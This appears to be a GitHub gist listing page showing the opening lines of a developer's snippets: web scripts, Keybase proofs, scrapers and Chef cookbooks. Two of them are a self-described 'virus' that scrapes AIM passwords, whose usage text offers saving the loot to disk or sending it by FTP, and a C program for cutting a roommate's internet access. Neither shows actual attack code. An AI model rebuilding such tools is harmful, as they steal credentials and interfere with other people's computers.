Skip to content

Instantly share code, notes, and snippets.

@rossdakin
rossdakin / filter.html
Created September 4, 2019 17:37
Webflow Multi-Filtering
<script src="https://newjersey.github.io/mixitup/dist/mixitup.min.js"></script>
<script src="https://newjersey.github.io/mixitup-multifilter/dist/mixitup-multifilter.min.js"></script>
<script>
(function() {
function slugify(str) {
return str.replace(/\W/g, '');
}
function makeClassName(dimensionName, dimensionValue) {
@rossdakin
rossdakin / vera-urls.js
Created January 28, 2019 20:49
Vera URL generator.
const BASE_URL = 'https://arresttrends.vera.org/';
const MAX_DEPTH = 2;
const PARAMS = {
AMOUNT: {
name: 'amount',
values: ['some', 'all']
},
DATASET: {
name: 'dataset',
@rossdakin
rossdakin / keybase.md
Created April 3, 2018 18:49
keybase.md

Keybase proof

I hereby claim:

  • I am rossdakin on github.
  • I am rossdakin (https://keybase.io/rossdakin) on keybase.
  • I have a public key ASD4998oY5elvj-DHgIi3vKMmQRV1Qs0bEHg15dn7R-KuQo

To claim this, I am signing this object:

@rossdakin
rossdakin / keybase.md
Created April 3, 2018 18:17
keybase.md

Keybase proof

I hereby claim:

  • I am rossdakin on github.
  • I am rossdakin (https://keybase.io/rossdakin) on keybase.
  • I have a public key ASB4UWf9hudZqCLvU3nToGmAy9XaVzxlC919EBX6vWTH_wo

To claim this, I am signing this object:

@rossdakin
rossdakin / miami-dade-emergency.js
Created September 8, 2017 00:01
Apifier script for Miami-Dade County emergency info.
function pageFunction(context) {
// called on every page the crawler visits, use it to extract data from it
var $ = context.jQuery;
var alerts = $('.important-content-container').map(function(i, div) {
var $div = $(div);
return {
title: $div.find('h2').html().trim(),
body: $div.find('p').map(function(i, p) { return $(p).html() }).toArray().join(' ')
};
@rossdakin
rossdakin / nonet.c
Created June 30, 2015 07:16
A simple program that let my college girlfriend "turn off the internet" on her roommate's computer.
# include <stdio.h>
# include <string.h>
void action (void);
int validate (void);
int main (void){
system ("cls");
printf ("\n\n\n ");
@rossdakin
rossdakin / to.bat
Created June 30, 2015 07:15
My First "Virus" (c. 2002) - AIM Password Scraper
@echo on
rem --------------------------------------------------------
if "%1" == "ftp" goto VarFTP
if "%1" == "disk" goto VarDisk
cls
@echo.
@echo To use this program type "to disk" or "to ftp"
@echo.
@echo "to disk" stores information on this floppy disk
@echo - best if computer is not connected to internet
@rossdakin
rossdakin / attributes__default.rb
Created January 13, 2015 21:47
Files to construct a Chef cookbook for creating a "canary" instance (a box that simply announces itself to CoudWatch, to ensure that egress traffic from private subnets is successfully making its way through your NAT boxes).
default[:deliv_canary][:cron_name] = 'canary'
default[:deliv_canary][:region] = 'us-east-1'
default[:deliv_canary][:namespace] = 'Canary'
default[:deliv_canary][:metric_name] = 'Chirps'
default[:deliv_canary][:unit] = 'Count'
default[:deliv_canary][:value] = 1
default[:deliv_canary][:dimensions] = {
AZ: node[:opsworks][:instance][:availability_zone],
Environment: node[:deliv_canary][:environment],
VPC: node[:opsworks][:stack][:vpc_id],
@rossdakin
rossdakin / sketchers.pl
Created December 31, 2014 00:50
Sketchers Price Alert Script
#! /usr/bin/perl
use strict;
use LWP::UserAgent;
my $ua = new LWP::UserAgent;
$ua->timeout(120);
my $url='http://www.skechers.com/style/62358/audience-intended/BLK';
my $request = new HTTP::Request('GET', $url);
@rossdakin
rossdakin / attributes_default.rb
Last active August 29, 2015 14:10
Chef cookbook for creating NAT boxes (intended for use with AWS OpsWorks) – does not do any health checks, HA, nor automatic route table (re)configuration.
# my_nat_cookbook/attributes/default.rb
# specify your CIDR in custom JSON somewhere: { "my_nat_cookbook": { "source_cidr": "10.1.0.0/16" } }
default[:deliv_nat][:source_cidr] = '0.0.0.0/0'
default[:deliv_nat][:aws_region] = node[:opsworks][:instance][:region]
default[:deliv_nat][:ec2_instance_id] = node[:opsworks][:instance][:aws_instance_id]